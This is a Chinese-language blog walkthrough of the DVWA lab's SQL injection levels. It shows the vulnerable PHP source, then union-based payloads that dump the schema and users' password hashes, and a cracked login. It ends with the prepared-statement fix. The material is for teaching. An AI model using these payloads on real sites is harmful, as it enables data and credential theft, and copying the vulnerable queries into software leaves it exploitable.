Security ❀ SQL Injection SQL注入
Posted 国家级干饭型选手°
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Security ❀ SQL Injection SQL注入相关的知识,希望对你有一定的参考价值。
1、low
源码解析:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
源码中并无任何防护,直接进行SQL注入即可;
注入框内命令说明:源码内附带SQL查询语句,输入框内数据代表源码中的 ‘$id’ 变量,使用union可以进行联合查询(union不会列出相同数据),#会注释该符号后面的所有内容,解析如下:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database() #';
获取数据库名称;
1' union select 1,database() #
结果验证:
获取表名称;
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #
结果验证:
获取列名称;
1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' #
结果验证:
查询所有账户与密码信息;
1' or 1 = 1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #
结果验证:
获取到密码后,将密码字段单独复制在解密网页内进行解密;
解密成功;
结果验证:使用 gordonb/abc123登录DVWA,登录成功;
2、medium
源码解析:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
源码限制了选择内容,可以通过Burpsuite修改http请求输入变量内容;
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,database() #;
抓包修改;
修改完成;
结果验证:
3、high
源码解析:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
源码中LIMIT可以限制输出的结果数量,可以使用#进行注释,#后面的命令均不在生效;
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database() #' LIMIT 1;
结果验证;
4、impossible
源码解析:校验变量只能为单个数字即可;
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
以上是关于Security ❀ SQL Injection SQL注入的主要内容,如果未能解决你的问题,请参考以下文章
Portswigger-web-security-academy:sql injection
Portswigger-web-security-academy:sql injection
low security dvwa--SQL Injection(Blind)